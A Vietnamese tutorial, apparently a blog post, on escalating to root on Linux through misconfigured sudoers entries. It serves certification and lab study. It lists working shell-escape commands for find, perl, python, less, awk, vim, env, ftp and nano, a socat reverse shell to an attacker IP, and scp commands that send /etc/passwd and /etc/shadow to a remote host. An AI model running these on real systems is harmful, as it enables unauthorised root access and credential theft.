Leo thang đặc quyền trong Linux - Linux Privilege Escalation #0: Using Sudo Rights

0. Mở đầu

Trong nhiều chứng chỉ như OSCP, OSCE hay những lab pentesting như của Vulnhub, Hackthebox luôn có một phần rất rất quan trọng là chiếm Root của Server để có được flag. Điều này chứng tỏ rằng bạn đã hoàn toàn chinh phục được bài lab. Đặt vào một hoàn cảnh thực tế hơn, trong quá trình Pentest, bạn có thể thực thi code (RCE) trên Server của target được pentest, mức ảnh hưởng sẽ thế nào nếu từ RCE, bạn có Full Permissions thông qua việc Privilege Escalation thành công ?

Mình sẽ cố gắng viết một series về Linux Privilege Escalation, và mình chọn method này đầu tiên vì nó liên quan tới nhiều kiến thức cơ bản. Cũng như tập trung hơn vào Ubuntu do đây là OS phổ biến được nhiều bạn đọc sử dụng nhất.

1. Cơ sở lý thuyết: Sudo - Super User Do root privilege task

1.1 Root User

Root user là một "superuser account" trong Linux/Unix. Có mọi quyền và có thể làm bất cứ điều gì với hệ thống. Thông thường Root user sẽ có tên là root. Tuy nhiên trong Linux/Unix, bất kỳ account nào với user id là 0 đều là tài khoản root, bất kể tên là gì, không nhất thiết phải là tên root. Một user bình thường muốn chạy được các lệnh có quyền Root cần phải thông qua su hoặc sudo.

1.2 Phân biệt Su và Sudo

Khi bạn gõ lệnh su (switch user) mà không có thêm tùy chọn gì khác, shell sẽ chuyển bạn sang root user vì user mặc định cho lệnh su là root, và bạn phải nhập root password.
Tuy nhiên, bạn có thể sử dụng nó để chuyển sang bất kỳ tài khoản người dùng nào. Nếu bạn thực thi lệnh su user2, bạn sẽ phải nhập password của user2, và shell sẽ chuyển sang tài khoản người dùng user2.

Khi đã hoàn thành việc chạy các lệnh trong shell root, bạn gõ exit để rời khỏi shell root và quay lại shell của bản thân với quyền được cấp.

Còn sudo chạy một lệnh duy nhất với quyền root. Khi bạn thực thi lệnh sudo, hệ thống sẽ yêu cầu bạn nhập password của tài khoản người dùng hiện tại trước khi chạy lệnh đó với tư cách là root user.
Theo mặc định của Ubuntu, shell sẽ ghi nhớ password này trong 15 phút. Đó cũng là lý do SUDO còn có thể được hiểu là:

Và cũng trên mặc định của Ubuntu: bạn không thể login trực tiếp bằng user root, bạn muốn thực thi một loạt command trong shell với tư cách root, bạn sẽ phải gõ sudo su chứ không phải là su.

Đơn giản vì theo mặc định thì Root password sẽ bị khóa cho đến khi bạn gán password cho nó. Điều này tùy thuộc vào Distrobution và OS bạn sử dụng. Nhưng ở Ubuntu thì chúng tôi làm thế 😤

2. Sudoers

Hết phần mở đầu, đến phần quan trọng 👇👇

2.1 Khái niệm

Trong Linux/Unix, có 1 file cấu hình cho quyền sudo nằm ở /etc/sudoers. Đây là file mà Linux/Unix administrators sử dụng để phân bổ quyền hệ thống cho người dùng trong hệ thống. Điều này cho phép administrators kiểm soát ai có thể làm gì. Khi bạn muốn chạy một lệnh yêu cầu quyền root qua sudo, nhờ vào sudoers file, Linux/Unix sẽ biết bạn có được phép thực thi lệnh đó hay không.
Đây là điều xảy ra khi bạn tạo 1 user mới hoàn toàn, chưa config sudoers và muốn chạy sudo:


Nếu đã được config, hãy thử gõ sudo visudo trên terminal, nhập password, và bạn đã có thể bắt đầu chỉnh sửa sudoers file trên máy của mình. Lưu ý một lần nữa: Tùy thuộc vào OS mà nội dung sudoers file sẽ được config mặc định khác nhau, tuy nhiên về format chung và syntax là giống nhau.

2.2 Sudoers: File Syntax

Phía trên là Sudoers File mặc định của Ubuntu (cái dấu % kia chỉ ra rằng adminsudo là system groups). Hãy cùng xem xét kỹ hơn cấu trúc qua ví dụ dưới đây:

Ví dụ trên có nghĩa là: User nghia có thể thực thi tất cả lệnh với tư cách Root, không cần nhập password khi yêu cầu thực thi, nhưng những điều kia chỉ đúng khi thực thi với path (binary) /usr/bin/find. Lưu ý:

  • (ALL:ALL) cũng có thể biểu diễn như là (ALL)
  • Nếu (root) nằm ở vị trí của (ALL:ALL) có nghĩa là user có thể thực thi lệnh dưới quyền root.
  • Nếu phần user/group không được định nghĩa, thì khi thực thi sudo sẽ mặc định thực thi với tư cách root user.
  • Phần Wildcard thường dùng chỉ định nơi mà lệnh được phép thực thi. Ví dụ mình thêm /opt/abcxzy vào cuối ví dụ, điều đó có nghĩa lệnh find, thông qua sudo, chỉ được dùng với thư mục opt/abcxyz/. Bạn có thể hiểu nó hơn qua ví dụ ở mục 4.
  • Tham khảo toàn bộ cấu trúc Sudoers tại đây

3. Privilege Escalation using Sudo Rights

Và đây là phần chính, dựa vào config của Sudoers file, từ việc chỉ có thể thực thi sudo với những lệnh hạn chế, chúng ta có thể leo thang đặc quyền để có được quyền Root một cách dễ dàng. Điều này rất hữu ích khi các bạn thi chứng chỉ, làm lab, làm các bài về kiểm thử xâm nhập... Mỗi hoàn cảnh mỗi khác, nhưng hầu như sẽ chỉ là những cách dưới đây.

Và tất cả những cách đó đều đang khả dụng !


3.1 - Khi đặc quyền root được gán cho Binary commands

Đôi khi người dùng có quyền thực thi bất kỳ tệp hoặc lệnh nào của một thư mục cụ thể như /bin/cp, /bin/cat hoặc /usr/bin/ find. Cùng xem ví dụ bên dưới.

3.1.1 - Using Find Command

Như chúng ta đã biết phía trên, user nghia được config trong sudoers file với nội dung:

nghia ALL=(root) NOPASSWD: /usr/bin/find

Administrators của hệ thống quá là bủn xỉn, chỉ cho tôi quyền tìm kiếm (find), đã vậy Root luôn cho bõ ghét:

 sudo find /(thư mục nào đó) -exec /bin/bash \;

hoặc:

sudo find /bin -name nano -exec /bin/sh \;

3.2 Khi đặc quyền root được gán cho Binary Programs

Đôi khi ông Administrators vui tính lại cho tôi một số quyền hạn chế với một số chương trình xác định để coding, chỉnh sửa file..., nếu nó là một trong số những chương trình sau, chẳng khác nào tôi đã có quyền root ở bất cứ nơi nào:

nghia ALL= (root) NOPASSWD: /usr/bin/perl, /usr/bin/python, /usr/bin/less, /usr/bin/awk, /usr/bin/man, /usr/bin/vi

3.2.1 Using Perl

/usr/bin/perl

Command: sudo perl -e 'exec "/bin/bash";'

3.2.2 Using Python

/usr/bin/python

Command: sudo python -c 'import pty;pty.spawn("/bin/bash")'

3.2.3 Using Less Command

/usr/bin/less

Command:

sudo less /etc/hosts

sau đó gõ !bash và ấn Enter:

Escape thành công:

3.2.4 Using AWK

/usr/bin/awk

Command:

sudo awk 'BEGIN {system("/bin/bash")}'

3.2.5 Using Man Command

/usr/bin/man

Command:

sudo man man

Tương tự với Less comand, thêm !bash, ấn Enter và có root:

3.2.6 Using vim

/usr/bin/vi

Command:

sudo vi

Lần này hơi khác chút, thêm :bash!, ấn enter và có root:

3.3 Khi đặc quyền root được gán cho Shell Script

Đây cũng là một dạng thường thấy trong các bài thi OSCP, khi trong sudoers file được config để người dùng có thể thực thi 1 script file xác định (có thể được viết bằng Python, bash, PHP, C...) kiểu như:

nghia ALL= (root) NOPASSWD: /home/nghia/root.sh, /home/nghia/root.py, /home/nghia/shell

3.3.1 Executing Bash script

Command:

echo "/bin/bash -i" >> filename.sh     (nếu trong script chưa có sẵn)
sudo ./filename.sh

3.3.2 Executing Python script

Script:

#! /usr/bin/python

print "Cái gì cũng được, mà không có cũng được"
import os
os.system("/bin/bash")

3.3.3 Executing C script

Script trong root.c :

int main(void)
{
            system("/bin/bash");
}

Và Command:

gcc root.c -o shell
chmod 777 shell
sudo ./shell

3.4 Khi đặc quyền root được gán cho một số chương trình khác

Phía trên chúng ta đã thấy một số programs và những script khi được gán quyền root nguy hiểm như thế nào, tuy nhiên một số chương trình sau tưởng như vô hại nhưng cũng có thể làm được điều tương tự:

nghia ALL=(ALL) NOPASSWD: /usr/bin/env, /usr/bin/ftp, /usr/bin/scp, /usr/bin/socat

3.4.1 Using Env

sudo env /bin/bash

3.4.2 Using FTP

sudo ftp
! /bin/bash

hoặc

sudo ftp
! /bin/sh

3.4.3 Using Socat

Trên máy tấn công (của chúng ta), command:

socat file:`tty`,raw,echo=0 tcp-listen:8888

Trên máy RCE được:

sudo socat exec:'sh -li',pty,stderr,setsid,sigint,sane tcp:192.168.55.1:8888

Và root thành công:

3.4.4 Thông qua SCP

Qua SCP, chúng ta không thể có được bash shell, vì nó là một service dùng để chuyển file từ máy chủ cục bộ tới máy chủ từ xa qua port SSH (port 22). Do đó chúng ta có thể sử dụng nó để chuyển các file nhạy cảm như /etc/passwd, /etc/shadow tới máy chúng ta.
Command:

sudo scp /etc/passwd [email protected]:~/
sudo scp /etc/shadow [email protected]:~/

4. Ví dụ:

Đây là một machine mới trên hackthebox, việc exploit để có root flag sử dụng method Sudo Rights.

Chúng ta có thể thấy hiện tại user joanna có thể thực thi binary program nano với path được xác định: /opt/priv mà không cần nhập password.
Và đây là cách exploit nó, command:

sudo nano /opt/priv : Không yêu cầu password
Ctrl + R => Ctrl + X : Để Execute command
reset; sh 1>&0 2>&0 và ấn Enter ( như hình dùng 1>&0 cũng được )

Như vậy chỉ từ Sudo Rights, chúng ta có thể thiên biến vạn hóa nhiều cách để có được Root. Điều này là rất hữu ích và quan trọng, nhất là với những chứng chỉ về kiểm thử xâm nhập. Nơi mà tăng tối đa impact tới mục tiêu là điều cực kỳ quan trọng.

Ngoài ra sẽ còn có một vài config khác trong Sudoers, các bạn có thể tìm thấy trong phần 5. Tài liệu tham khảo

5. Tài liệu tham khảo

https://blog.certcube.com/abusing-sudo-linux-privilege-escalation/
https://www.hackingarticles.in/linux-privilege-escalation-using-exploiting-sudo-rights/
https://www.linux.com/tutorials/configuring-linux-sudoers-file/
https://medium.com/schkn/linux-privilege-escalation-using-text-editors-and-files-part-1-a8373396708d